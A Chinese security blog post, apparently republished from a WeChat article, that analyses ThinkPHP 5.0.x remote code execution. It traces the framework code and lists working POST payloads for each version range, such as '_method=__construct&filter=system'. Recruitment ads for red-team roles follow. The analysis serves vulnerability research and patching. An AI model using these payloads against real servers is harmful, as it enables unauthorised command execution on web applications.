ThinkPHP远程代码执行分析
2023-2-2 00:2:59 Author: 白帽子(查看原文) 阅读量:34 收藏

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

安恒西安运营中心

NO.1 总述

在版本小于5.0.13,不开启debug的情况下 会通过变量覆盖修改$request类的变量的值通过bindParams中的param函数进行任意函数调用
_method=__construct&method=get&filter=system&s=whoami


在版本小于5.0.13,开启debug的情况下会执行命令两次 一次在bindParams的param 一次在run()中的param函数
_method=__construct&method=get&filter=system&s=whoami


在版本大于5.0.13小于5.0.21情况下,开启debug的情况下,在run()中的param函数执行命令
_method=__construct&method=get&filter=system&s=whoami


在版本大于5.0.13小于5.0.21情况下,不开启debug的下需要完整版thinkphp,在method分支下param函数rce
POST /index.php?s=captcha
_method=__construct&method=get&filter=system&s=whoami


在大于5.0.21小于等于5.0.23的情况下,由于修改了method函数的逻辑,无法随意用变量,这里统一用只能用get[],route[]。
完整版ThinkPHP如下
POST /index.php?s=captcha
_method=__construct&method=get&filter=system&get[]=whoami
_method=__construct&method=get&filter=system&route[]=whoami
开启debug如下
_method=construct&method=get&filter=system&route[]=whoami


在5.0.24的时候由于限制了表单请求伪装传入的参数,传入的参数只能为限定的参数,无法进行request类下任意函数调用

NO.2 POC1

ThinkPHP<=5.0.23 需要开启debug
a=system&b=whoami&_method=filter

漏洞定位

通过debug发现是在第127行调用了$request->param()函数之后导致了rce,那跟进一下该函数,发现是在该函数里面调用了input函数,而input函数里存在一个filterValue函数,该函数里调用了call_user_func函数从而导致任意php代码执行。(后面发现是存在array_walk_recursive函数,通过隐式调用filterValue造成了RCE)(由于该处代码是开启了debug之后才会调用的代码,所以此处略鸡肋,需要开启debug)

漏洞分析

那么此时这里是调用了$request变量,这个变量是一个Request对象的实例,那么看一下这个实例是在哪里构建的,通过之前的路由流程分析可以知道在调用了routeCheck之后,$request变量里面便有了数据,跟进该函数,通过之前的路由流程分析可以得知,在routeCheck函数的第618行数获取路径信息,第619-640行都是在获取默认配置,到第642行这里调用了Route::check函数,根据之前的分析可知,在该check函数的第848行,调用了$request->method函数,在里面根据请求模式进行了赋值,这里debug断点看一下。

先贴代码

public function method($method = false){        if (true === $method) {            // 获取原始请求类型            return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);        } elseif (!$this->method) {            if (isset($_POST[Config::get('var_method')])) {                $this->method = strtoupper($_POST[Config::get('var_method')]);                $this->{$this->method}($_POST);            } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {                $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);            } else {                $this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);            }        }        return $this->method;    } public function param($name = '', $default = null, $filter = '')    {        if (empty($this->param)) {            $method = $this->method(true);            // 自动获取请求变量            switch ($method) {                case 'POST':                    $vars = $this->post(false);                    break;                case 'PUT':                case 'DELETE':                case 'PATCH':                    $vars = $this->put(false);                    break;                default:                    $vars = [];            }            // 当前请求参数和URL地址中的参数合并            $this->param = array_merge($this->get(false), $vars, $this->route(false));        }        if (true === $name) {            // 获取包含文件上传信息的数组            $file = $this->file();            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;            return $this->input($data, '', $default, $filter);        }        return $this->input($this->param, $name, $default, $filter);    }

可以看到,此处是直接调用的所以为缺省变量,进入第二层,注意这里判断了是否存在POST传入的Config::get('var_method'),该值在ThinkPHP中的默认配置为_method,poc里传入了该参数,那么进入该分支,这里把$this->method(也就是$request->$method)变量赋值为传入的_method,然后调用$this->{$this->method}($_POST);这里是一个隐式调用,此时$this->$method的值为filter,就相当于调用了$this->filter($_POST)函数,那么该操作完成后$request的filter变量里存着post传入的数据,注意该参数均可控,那就导致了该行代码可以调用Request类的任意函数,此时$request->$method 为filter。

接着根据之前的路由流程可以得知,后面的操作主要是进行参数赋值。

直接进入到发生命令执行的param函数处,跟进该函数,可以看到该函数根据method类型来进行switch case,这里是post,进入post函数,该post函数也调用了input,但是因为传入的$name=false所以直接在input函数的第三行return了回去。


所以继续往下走,调用$this->input函数,此时传入四个参数,$this->param为post传入的数据,$name为空,$default为空,$filter也为空,进入该函数,该函数先把$name转为字符串,然后调用$this->getFilter函数,跟进该函数$filter被赋值为$this->$filter,然后将$filter转为数组,并给$filter[0]赋值为null,然后return。


接下来调用了array_walk_recursive,该函数是一个回调函数,只不过参数为数组,第一个。这里数组是传入的$data,此时data是一个数组,里面放的是POST传进来的数据,然后$filter是$data数组里加了一个0=null,然后第二个参数就是回调的函数,跟进此函数发现确实进入了filterValue函数,首先把数组中最后一个值弹出来,那么此时弹出来的就是刚刚赋值为null的,所以此时$default为null,然后对$filter进行一个循环,当函数可以调用的时候进入call_user_func函数,也就是命令执行的点,此时$filter为$filters的值,$value是data数组的值。然后通过call_user_func进行调用。那么根据传入的POST数据首先是system('system'),那么肯定执行失败,然后第二个$filter为whoami,此时会判断该函数是否可以被调用,那么显然不可以,然后就直接进入break终止了该次循环,然后调用data数组的第二个值为whoami,然后此时$filter为第一个值为system,那么此时call_user_func就顺利执行了,成功执行了system函数。

public function input($data = [], $name = '', $default = null, $filter = '')    {        if (false === $name) {            // 获取原始数据            return $data;        }        $name = (string) $name;        if ('' != $name) {            // 解析name            if (strpos($name, '/')) {                list($name, $type) = explode('/', $name);            } else {                $type = 's';            }            // 按.拆分成多维数组进行判断            foreach (explode('.', $name) as $val) {                if (isset($data[$val])) {                    $data = $data[$val];                } else {                    // 无输入数据,返回默认值                    return $default;                }            }            if (is_object($data)) {                return $data;            }        }
       // 解析过滤器        $filter = $this->getFilter($filter, $default);
       if (is_array($data)) {            array_walk_recursive($data, [$this, 'filterValue'], $filter);            reset($data);        } else {            $this->filterValue($data, $name, $filter);        }
       if (isset($type) && $data !== $default) {            // 强制类型转换            $this->typeCast($data, $type);        }        return $data;    }
private function filterValue(&$value, $key, $filters){        $default = array_pop($filters);        foreach ($filters as $filter) {            if (is_callable($filter)) {                // 调用函数或者方法过滤                $value = call_user_func($filter, $value);            } elseif (is_scalar($value)) {                if (false !== strpos($filter, '/')) {                    // 正则过滤                    if (!preg_match($filter, $value)) {                        // 匹配不成功返回默认值                        $value = $default;                        break;                    }                } elseif (!empty($filter)) {                    // filter函数不存在时, 则使用filter_var进行过滤                    // filter为非整形值时, 调用filter_id取得过滤id                    $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));                    if (false === $value) {                        $value = $default;                        break;                    }                }            }        }        return $this->filterExp($value);    }

NO.3 POC2

1、ThinkPHP<5.0.13

_method=__construct&method=get&filter=system&s=whoami

漏洞定位

同样的_method=__construct这个变量表示了还是在走$this->{$this->method}($_POST)这条路

漏洞分析

跟进__construct函数,这里进行了一个循环,这里传入的是一个POST传入的四个键值对,这里执行了$this->(键) = 值,那么经过这个循环之后$request对象里的method的值为get,filter=system

那么此时$this->filter=system ,$this->method=GET,这里要重新把$this->method赋值是为了兼容之前的版本下图是5.0.20的版本,在5.0.8之前 是没有三元判断的,所以在这里如果不重新赋值就会去$rules数组里找$method的值,很显然传入的__construct是不在里面的,所以会导致报错。

这个时候继续跟进代码到exec函数里,switch进入到module分支

进入该函数,根据之前的路由分析可知都是判断,取值操作接着进入invokemethod,前面分析可以知道此处主要实例化了类,然后进行参数绑定最后在执行,进入bindparams函数,会自动获取变量,主要是调用Request类的param函数,这里首先实例化了一个request对象,然后调用了param函数。

跟进该函数,可以看到该函数根据method类型来进行switch case,这里是post,进入post函数,该post函数也调用了input,但是因为传入的$name=false所以直接在input函数的第三行return了回去。

所以继续往下走,调用$this->input函数,此时传入四个参数,$this->param为post传入的数据,$name为空,$default为空,$filter也为空,进入该函数,该函数先把$name转为字符串,然后调用$this->getFilter函数,跟进该函数$filter被赋值为$this->$filter,然后将$filter转为数组,并给$filter[0]赋值为null,然后return。

接下来调用了array_walk_recursive,该函数是一个回调函数,只不过参数为数组,第一个。这里数组是传入的$data,此时data是一个数组,里面放的是POST传进来的数据,然后$filter是$data数组里加了一个0=null,然后第二个参数就是回调的函数,跟进此函数发现确实进入了filterValue函数,首先把数组中最后一个值弹出来,那么此时弹出来的就是刚刚赋值为null的,所以此时$default为null,然后对$filter进行一个循环,当函数可以调用的时候进入call_user_func函数,也就是命令执行的点,此时$filter为$filters的值,$value是data数组的值。然后通过call_user_func进行调用。那么根据传入的POST数据首先是system('system'),那么肯定执行失败,然后第二个$filter为whoami,此时会判断该函数是否可以被调用,那么显然不可以,然后就直接进入break终止了该次循环,然后调用data数组的第二个值为whoami,然后此时$filter为第一个值为system,那么此时call_user_func就顺利执行了,成功执行了system函数。

2、ThinkPHP<=5.0.23 需要开启debug or 完整版的thinkphp

· ThinkPHP<5.0.21 开启debug

_method=__construct&method=get&filter=system&a=whoami

漏洞分析

因为在开启debug后会走debug那条路,所以就可以触发漏洞

· ThinkPHP<5.0.21 完整版ThinkPHP

POST /index.php?s=captcha
_method=__construct&method=get&filter=system&a=whoami

漏洞分析

在5.0.13之后的版本里如果不开启debug的话,那么就会走到exec里面,同时进入self::module里面,该函数存在一行代码$request->filter($config['default_filter']),导致了在这一步之前变量覆盖掉的$request->filter变量会被赋值回去,所以在不开启debug的情况下如果走module就无法覆盖filter的值。

在这个switch里面是通过$dispatch来进行选择的,而这个值是在routecheck这个函数里调用了parseurl赋值给$dispatch的,而且是写死的,所以只要进了parseurl,肯定是没办法继续进行的

但是注意看在App.php里面的第642行$result = Route::check($request, $path, $depr, $config['url_domain_deploy']) 这行代码里如果$result返回不为false的话也就不会进入下面的判断里,跟进642行。


在之前的Thinkphp路由流程分析里可以知道check函数里会进行一系列的替换,然后检测是否存在静态路由,然后判断当$rules不为空的时候进入checkRoute函数,由于完整版的ThinkPHP会注册一个路由为captcha,所以此时$rules变量是有值的会进入该分支。

值如下

进入该函数之后,可以看到是对$rules变量进行了遍历,然后取键值对,校验等等,这里不进行深究,着重看到了第958行调用了checkRule函数,该函数对比了传入的url和路由,进行了校验后最终进入了parseRule,继续往下走最终在1500行。

给$result赋值然后一路return回来到run函数里,接着根据之前的分析进入exec里面,然后进入method分支,然后进入到param分支。最终进入到array_walk_recursive函数,传入的参数data就是传入的post数组,$filter就是被变量覆盖的system,所以此时就遍历了POST传入的参数,遍历到的时候就执行了命令。

· ThinkPHP<=5.0.23

_method=__construct&method=get&filter=system&server[REQUEST_METHOD]=whoami

漏洞分析1

在5.0.21以后method函数发生了改变,进入server函数看一下,当不存在server[REQUEST_METHOD]的时候直接返回GET

同时发现其中也调用了input函数

在param函数里首先会调用$method = $this->method(true);那么刚好满足进入server函数那么由此跟进server函数里,首先判断是否存在$this->server变量,那么因为通过变量覆盖把$this->server[REQUEST_METHOD]赋值为whoami,所以此时是存在变量的所以不会进入该判断,然后进入input函数,此时$this->server为whoami,$filter为覆盖后的system,$name为字符串REQUEST_METHOD,跟进input函数

在1014行,对$name进行分割,然后当存在$data[$val]的时候,也就是$this->server存在REQUEST_METHOD的时候把$this->server['REQUEST_METHOD']赋值给$data,所以此时$data是一个字符串,那么就会进入filterValue函数,然后在该函数中调用,其中$filter为变量覆盖后的值,值为system,$value的值为$data也就是whoami

漏洞分析2

此时由于前面5.0.21版本的改动导致了$method为GET也就无法进入switch case所以$vars为空。

如果要继续进入input函数,并且$this->param变量可控,就要在param最后一行代码处,控制$this->param,而$this->param是在652行,构造的所以可以通过变量覆盖来覆盖$param,$get,$route这三个变量

所以poc就可以改为
_method=__construct&method=get&filter=system&get[]=whoami
_method=__construct&method=get&filter=system&param[]=whoami
_method=__construct&method=get&filter=system&route[]=whoami
但是由于param在route函数里被重写了所以此处param不能复写

所以最终的poc就为
_method=__construct&method=get&filter=system&get[]=whoami
_method=__construct&method=get&filter=system&route[]=whoami

RECRUITMENT

招聘启事

公司:安恒信息
岗位:高级攻防专家
部门:
西安运营中心
薪资:20-30K
工作年限:3年+
工作地点:西安

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责相关自动化平台建设
5.负责研究APT组织攻击手法及技术原理分析

【岗位要求】
1.至少3年安全领域工作经验;
2.精通Web渗透相关技能,能够独自进行打点,渗透等工作
3.拥有大型产品、CMS、厂商漏洞挖掘案例
4.熟练掌握PHP、Java、C#、C++、汇编等编程语言(Web及二进制均需要熟悉至少一门)
5.能够独自分析漏洞,基于PoC编写EXP
6.能够独自进行样本分析,汲取相关技术点并进行样本深加工
7.熟悉常见杀软防护点,对样本进行处理达到免杀
8.熟悉常见的信息搜集及钓鱼手法,能够进行水坑攻击并维持目标权限

安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。

简历投递至 

[email protected]

设计师(实习生)

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;

3、精通photoshop/illustrator/coreldrew/等设计制作软件;
4、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽

简历投递至 

[email protected]

安全招聘

————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;

岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

岗位:红队武器化Golang开发工程师

薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

END

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246491&idx=1&sn=ad39430f224f8f3fd2795deb6b5d3f30&chksm=82ea56f2b59ddfe4b1a59edcd2ab5231422faafdb106d044512d4e172f0d5e1c5ba4335fbefd#rd
如有侵权请联系:admin#unsafe.sh